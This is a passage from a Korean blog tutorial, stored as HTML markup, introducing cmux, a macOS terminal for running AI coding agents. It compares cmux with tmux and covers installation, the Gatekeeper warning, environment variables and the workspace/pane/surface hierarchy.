this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;454&quot; height=&quot;119&quot; data-origin-width=&quot;732&quot; data-origin-height=&quot;192&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이런식으로 Cmux륽 잘 활용하기 위한 사람들, 개발자들을 위한&amp;nbsp;기초개념을 목표 / 기본 이론적인 부분을 잘 정리해보고자 하는것을 목표로 한다.&amp;nbsp;&lt;/p&gt;
&lt;!-- 목차 --&gt;
&lt;div style=&quot;background-color: #f8fbff; padding: 20px 25px; border-radius: 12px; border: 2px solid #cce5ff; margin: 20px 0 30px 0;&quot;&gt;
&lt;h3 style=&quot;color: #0066cc; margin: 0 0 15px 0; font-size: 18px; border-bottom: 2px solid #cce5ff; padding-bottom: 10px;&quot; data-ke-size=&quot;size23&quot;&gt;목차&lt;/h3&gt;
&lt;p style=&quot;font-weight: bold; margin: 0 0 8px 0;&quot; data-ke-size=&quot;size16&quot;&gt;기본 가이드&lt;/p&gt;
&lt;ol style=&quot;margin: 0 0 15px 0; padding-left: 20px; line-height: 2;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;cmux란 무엇인가
&lt;ul style=&quot;margin: 5px 0; padding-left: 20px; line-height: 1.8; list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;tmux의 한계와 cmux의 등장&lt;/li&gt;
&lt;li&gt;tmux vs cmux 비교&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;설치 및 환경 확인&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;핵심 개념: 계층 구조와 환경변수&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;기본 CLI 명령어 레퍼런스
&lt;ul style=&quot;margin: 5px 0; padding-left: 20px; line-height: 1.8; list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;워크스페이스 관리&lt;/li&gt;
&lt;li&gt;패인 분할과 서피스&lt;/li&gt;
&lt;li&gt;텍스트 전송과 출력 캡처&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;AI 에이전트 핵심: 출력 캡처와 동기화&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;내장 브라우저 자동화&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;사이드바: 알림, 진행률, 상태 표시&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;tmux에서 cmux로 마이그레이션&lt;/li&gt;
&lt;/ol&gt;
&lt;p style=&quot;font-weight: bold; margin: 0 0 8px 0;&quot; data-ke-size=&quot;size16&quot;&gt;실전 활용&lt;/p&gt;
&lt;ol style=&quot;margin: 0 0 15px 0; padding-left: 20px; line-height: 2;&quot; start=&quot;9&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;실전: Claude Code + cmux 연동&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;실습: 멀티에이전트 병렬 실행&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;실습: 개발서버 + 브라우저 E2E 검증&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;Claude Code / OMC 통합 가이드&lt;/li&gt;
&lt;/ol&gt;
&lt;p style=&quot;font-weight: bold; margin: 0 0 8px 0;&quot; data-ke-size=&quot;size16&quot;&gt;심화 분석&lt;/p&gt;
&lt;ol style=&quot;margin: 0; padding-left: 20px; line-height: 2;&quot; start=&quot;13&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;경쟁 도구 생태계 (Claude Squad, Pane, Amux, Calyx 비교)&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;커뮤니티 반응&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;제한사항과 미래 전망&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;트러블슈팅&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;자주 묻는 질문 (FAQ)&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;참고 자료&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #e8f4f8; padding: 20px; border-radius: 12px; border-left: 5px solid #0066cc; margin-bottom: 30px;&quot;&gt;&lt;b&gt;cmux 주요 요약&lt;/b&gt;&lt;br /&gt;cmux는 AI 코딩 에이전트를 위해 설계된 macOS 네이티브 터미널이다. 내장 WebKit 브라우저, Unix socket API, 사이드바 알림 시스템, tmux 호환 명령어를 제공하며, Claude Code/Codex/Gemini CLI를 병렬로 실행하고 프로그래밍 방식으로 제어할 수 있다. 이 글에서는 설치부터 실전 멀티에이전트 운용, 경쟁 도구 비교, 커뮤니티 반응까지 단계별로 안내한다.&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- ========== 섹션 1: cmux란 무엇인가 ========== --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;1. cmux란 무엇인가&lt;/b&gt;&lt;/h2&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;cmux&lt;/b&gt;는 &lt;a href=&quot;https://github.com/manaflow-ai/cmux&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;manaflow-ai&lt;/a&gt;가 개발한 &lt;span style=&quot;color: #ee2323;&quot;&gt;&lt;b&gt;AI 코딩 에이전트 전용 macOS 네이티브 터미널&lt;/b&gt;&lt;/span&gt;이다. 2026년 1월 최초 공개 후 2월 'cmux'로 정식 출시되어 GitHub 9.9k+ 스타를 기록 중이다(2026년 3월 기준). Ghostty의 렌더링 엔진(libghostty)을 사용하며, Swift + AppKit으로 구축된 네이티브 앱이다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;tmux의 한계와 cmux의 등장&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;tmux는 수십 년간 터미널 멀티플렉서의 표준이었다. 하지만 AI 에이전트를 본격적으로 운용하다 보면 이런 한계에 부딪힌다:&lt;/p&gt;
&lt;ul style=&quot;margin: 0 0 15px 20px; padding: 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;브라우저 자동화가 불가 - 개발 서버의 UI를 확인하려면 별도 브라우저+Playwright 설정이 필요&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;사이드바 상태 표시 없음 - 어떤 에이전트가 어떤 작업 중인지 한눈에 파악 불가&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;프로그래밍 API 부재 - &lt;code&gt;capture-pane&lt;/code&gt; 출력을 파싱하는 것이 주요 통신 수단&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;Git/PR 상태 연동 없음 - 워크스페이스별 브랜치, PR 번호 표시 불가&lt;/li&gt;
&lt;/ul&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;cmux는 이 모든 문제를 &lt;b&gt;&quot;AI 에이전트를 위해 터미널을 다시 만들자&quot;&lt;/b&gt;라는 관점에서 해결한다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;tmux vs cmux 비교&lt;/h3&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 25px 0; font-size: 14px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #e8f4f8;&quot;&gt;
&lt;th style=&quot;padding: 15px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;구분&lt;/th&gt;
&lt;th style=&quot;padding: 15px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;tmux&lt;/th&gt;
&lt;th style=&quot;padding: 15px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;cmux&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;플랫폼&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;Linux/macOS/Windows(WSL)&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;macOS 14+ 전용&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;UI&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;TUI (텍스트 기반)&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;네이티브 GUI (사이드바, 탭)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;내장 브라우저&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;없음&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;WebKit 내장 (DOM 조작, 스크린샷)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;알림 시스템&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;없음&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;사이드바 뱃지, 진행률, 알림&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;세션 지속성&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;detach/reattach (SSH 생존)&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;앱 재시작 시 레이아웃 복원 (프로세스는 미복원)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;프로그래밍 API&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;제한적 (control mode)&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;Unix socket JSON-RPC + 풍부한 CLI&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;AI 에이전트 지원&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;범용 (특화 기능 없음)&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;Claude/Codex/Gemini 병렬 실행 최적화&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;원격 서버&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;SSH에서 동작&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;로컬 macOS 전용 (SSH 불가)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;div style=&quot;background-color: #fff3cd; border-left: 4px solid #ffc107; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;tmux를 완전히 버려야 할까?&lt;/b&gt;&lt;br /&gt;
&lt;p style=&quot;margin-top: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;아니다. tmux는 SSH 원격 서버 작업, CI/CD 환경, Linux 서버에서 여전히 필수다. cmux는 &lt;b&gt;로컬 macOS에서 AI 에이전트를 운용&lt;/b&gt;하는 시나리오에 특화되어 있다. 두 도구는 경쟁이 아닌 보완 관계다.&lt;/p&gt;
&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- ========== 섹션 2: 설치 및 환경 확인 ========== --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;2. 설치 및 환경 확인&lt;/b&gt;&lt;/h2&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;Homebrew 설치 (권장)&lt;/h3&gt;
&lt;div style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 20px; border-radius: 8px; margin: 20px 0; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; overflow-x: auto; border: 1px solid #333;&quot;&gt;
&lt;div style=&quot;color: #6a9955; margin-bottom: 10px;&quot;&gt;# Homebrew로 설치&lt;/div&gt;
&lt;pre class=&quot;armasm&quot; style=&quot;margin: 0; white-space: pre-wrap;&quot;&gt;&lt;code&gt;brew tap manaflow-ai/cmux
brew install --cask cmux&lt;/code&gt;&lt;/pre&gt;
&lt;br /&gt;
&lt;div style=&quot;color: #6a9955; margin-bottom: 10px;&quot;&gt;# CLI를 시스템 전역에서 사용하려면 (선택)&lt;/div&gt;
&lt;pre class=&quot;awk&quot; style=&quot;margin: 0; white-space: pre-wrap;&quot;&gt;&lt;code&gt;sudo ln -sf &quot;/Applications/cmux.app/Contents/Resources/bin/cmux&quot; /usr/local/bin/cmux&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Homebrew가 없거나 tap이 안 될 경우, &lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://github.com/manaflow-ai/cmux/releases&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;GitHub Releases&lt;/a&gt;에서 DMG를 직접 받아도 된다.&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;macOS 보안 경고 (Gatekeeper)&lt;/h3&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;264&quot; data-origin-height=&quot;244&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bTM2G1/dJMcaiWVZyD/wKck4adlIlTaFjrbt2X0xK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bTM2G1/dJMcaiWVZyD/wKck4adlIlTaFjrbt2X0xK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bTM2G1/dJMcaiWVZyD/wKck4adlIlTaFjrbt2X0xK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbTM2G1%2FdJMcaiWVZyD%2FwKck4adlIlTaFjrbt2X0xK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;97&quot; height=&quot;90&quot; data-origin-width=&quot;264&quot; data-origin-height=&quot;244&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;처음 실행할 때 &quot;확인되지 않은 개발자&quot; 경고가 뜰 수 있다.&lt;/p&gt;
&lt;div style=&quot;background-color: #fff3cd; border-left: 4px solid #ffc107; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;Gatekeeper 해결 방법&lt;/b&gt;&lt;br /&gt;시스템 설정 &amp;gt; 개인정보 보호 및 보안 &amp;gt; 하단 &quot;확인 없이 열기&quot; 클릭. 또는 터미널에서:&lt;br /&gt;&lt;code&gt;xattr -cr /Applications/cmux.app&lt;/code&gt;&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;설치 확인&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;cmux 앱을 실행한 후, 터미널에서 다음 명령어로 환경을 확인한다.&lt;/p&gt;
&lt;div style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 20px; border-radius: 8px; margin: 20px 0; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; overflow-x: auto; border: 1px solid #333;&quot;&gt;
&lt;div style=&quot;color: #6a9955; margin-bottom: 10px;&quot;&gt;# 버전 확인&lt;/div&gt;
&lt;pre class=&quot;bash&quot; style=&quot;margin: 0; white-space: pre-wrap;&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;$ cmux version
cmux 0.62.2 (77) [6c203b514]&lt;/code&gt;&lt;/pre&gt;
&lt;br /&gt;
&lt;div style=&quot;color: #6a9955; margin-bottom: 10px;&quot;&gt;# 환경변수 확인 (cmux 터미널 내에서 실행)&lt;/div&gt;
&lt;pre class=&quot;elixir&quot; style=&quot;margin: 0; white-space: pre-wrap;&quot;&gt;&lt;code&gt;$ echo $CMUX_WORKSPACE_ID
9A5E82C8-296F-467D-B07E-58B75F49D52E    # 값은 환경마다 다름

$ echo $CMUX_SURFACE_ID
89FA79ED-C36D-4325-A1F1-6D3118073A21    # 값은 환경마다 다름

$ echo $CMUX_SOCKET_PATH
~/Library/Application Support/cmux/cmux.sock&lt;/code&gt;&lt;/pre&gt;
&lt;br /&gt;
&lt;div style=&quot;color: #6a9955; margin-bottom: 10px;&quot;&gt;# 현재 컨텍스트 확인&lt;/div&gt;
&lt;pre class=&quot;elixir&quot; style=&quot;margin: 0; white-space: pre-wrap;&quot;&gt;&lt;code&gt;$ cmux identify
{
  &quot;caller&quot;: {
    &quot;tab_ref&quot;: &quot;tab:1&quot;,
    &quot;is_browser_surface&quot;: false,
    &quot;pane_ref&quot;: &quot;pane:1&quot;,
    ...
  }
}&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #d4edda; border-left: 4px solid #28a745; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;환경변수가 설정되어 있다면 cmux 터미널 내에서 실행 중인 것이다.&lt;/b&gt;&lt;br /&gt;
&lt;p style=&quot;margin-top: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;code&gt;CMUX_WORKSPACE_ID&lt;/code&gt;와 &lt;code&gt;CMUX_SURFACE_ID&lt;/code&gt;가 자동 설정되므로, 대부분의 cmux 명령어에서 &lt;code&gt;--workspace&lt;/code&gt;와 &lt;code&gt;--surface&lt;/code&gt; 플래그를 생략할 수 있다. 이것이 cmux의 핵심 편의 기능 중 하나다.&lt;/p&gt;
&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- ========== 섹션 3: 핵심 개념 ========== --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;3. 핵심 개념: 계층 구조와 환경변수&lt;/b&gt;&lt;/h2&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;cmux의 모든 것은 4단계 계층 구조로 이해할 수 있다.&lt;/p&gt;
&lt;div style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 20px; border-radius: 8px; margin: 20px 0; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; overflow-x: auto; border: 1px solid #333;&quot;&gt;
&lt;pre class=&quot;less&quot; style=&quot;margin: 0; white-space: pre-wrap;&quot;&gt;&lt;code&gt;Window                          (앱 윈도우)
  └── Workspace                 (사이드바 탭 &amp;mdash; git 브랜치, PR 상태 표시)
        └── Pane                (분할 영역)
              └── Surface       (터미널 탭 또는 브라우저 패널)&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;!-- OLD 이미지: cmux 최초 실행 전체 화면 --&gt;
&lt;div style=&quot;background-color: #fff3e0; border: 2px dashed #ff9800; border-radius: 8px; padding: 30px; margin: 20px 0; text-align: center; color: #e65100;&quot;&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1768&quot; data-origin-height=&quot;1304&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/mteeL/dJMcahcGKXF/T7waqcRGM6wulEYOWeWajK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/mteeL/dJMcahcGKXF/T7waqcRGM6wulEYOWeWajK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/mteeL/dJMcahcGKXF/T7waqcRGM6wulEYOWeWajK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FmteeL%2FdJMcahcGKXF%2FT7waqcRGM6wulEYOWeWajK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1768&quot; height=&quot;1304&quot; data-origin-width=&quot;1768&quot; data-origin-height=&quot;1304&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;화면 왼쪽에 &lt;b&gt;사이드바&lt;/b&gt;가 있고, 오른쪽이 &lt;b&gt;터미널 영역&lt;/b&gt;이다. cmux의 계층 구조를 실제 UI에 매핑하면 이렇다.&lt;/p&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 25px 0; font-size: 14px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #e8f4f8;&quot;&gt;
&lt;th style=&quot;padding: 15px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;계층&lt;/th&gt;
&lt;th style=&quot;padding: 15px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;설명&lt;/th&gt;
&lt;th style=&quot;padding: 15px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;참조 형식&lt;/th&gt;
&lt;th style=&quot;padding: 15px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;비유&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;Window&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;앱 윈도우&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;code&gt;window:1&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;건물&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;Workspace&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;사이드바의 각 탭 (프로젝트 단위)&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;code&gt;workspace:1&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;층(Floor)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;Pane&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;워크스페이스 내 분할 영역&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;code&gt;pane:1&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;방(Room)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;Surface&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;패인 내 터미널/브라우저 탭&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;code&gt;surface:1&lt;/code&gt; 또는 UUID&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;책상(Desk)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;!-- OLD 이미지: cmux identify 출력 --&gt;
&lt;div style=&quot;background-color: #fff3e0; border: 2px dashed #ff9800; border-radius: 8px; padding: 30px; margin: 20px 0; text-align: center; color: #e65100;&quot;&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1224&quot; data-origin-height=&quot;774&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/CK4wn/dJMcaivR42d/hmOj6z5XSvOpA2jlDEgQu1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/CK4wn/dJMcaivR42d/hmOj6z5XSvOpA2jlDEgQu1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/CK4wn/dJMcaivR42d/hmOj6z5XSvOpA2jlDEgQu1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FCK4wn%2FdJMcaivR42d%2FhmOj6z5XSvOpA2jlDEgQu1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1224&quot; height=&quot;774&quot; data-origin-width=&quot;1224&quot; data-origin-height=&quot;774&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #e8f4f8; padding: 15px; border-left: 4px solid #0066cc; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;환경변수 자동 설정&lt;/b&gt;&lt;br /&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 10px 0; font-size: 14px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; font-family: monospace;&quot;&gt;&lt;code&gt;CMUX_WORKSPACE_ID&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 8px;&quot;&gt;현재 워크스페이스 ID. 모든 명령의 기본 &lt;code&gt;--workspace&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
